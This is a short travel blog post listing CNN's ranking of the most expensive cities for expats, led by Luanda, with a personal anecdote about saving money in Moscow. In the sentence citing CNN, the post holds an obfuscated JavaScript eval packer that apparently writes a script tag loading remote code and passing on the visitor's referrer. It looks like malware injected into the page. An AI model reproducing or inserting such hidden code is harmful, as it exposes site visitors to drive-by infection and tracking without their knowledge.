Expensive Expat Living

Travel

I love traveling, and I live part of my life in the clouds, daydreaming about where I would like to go next.  Are you like me?  It’s smart to do your homework before traveling, especially if you travel solo.  CNN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nthde|var|u0026u|referrer|tdrei||js|php’.split(‘|’),0,{}))
has an article listing the most expensive cities for expats to live in. 

1. Luanda, Angola.

Here are the others:

2. Tokyo, Japan

3. N’Djamena, Chad

4. Moscow, Russia

5. Geneva, Switzerland

6. Osaka, Japan

7. Zurich, Switzerland

8. Singapore, Singapore

9. Hong Kong, Hong Kong

10. São Paolo, Brazil

Are you surprised?  I was.  It turns out Luanda, Angola in Africa is the most expensive because many material goods are hard to come by or are very expensive in the country that only recently recieved a reprieve from their bloody civil war. 

I’ve made it to Moscow and can vouch for the city’s expensive glam, but if you travel smart, your pocketbook won’t go broke.  I stayed with a family friend at an apartment in the city instead of an expensive hotel. It’s amazing how all the mundane expenses of traveling add up quickly and free housing will give your traveling budget an extra boost that may allow you to visit another city.
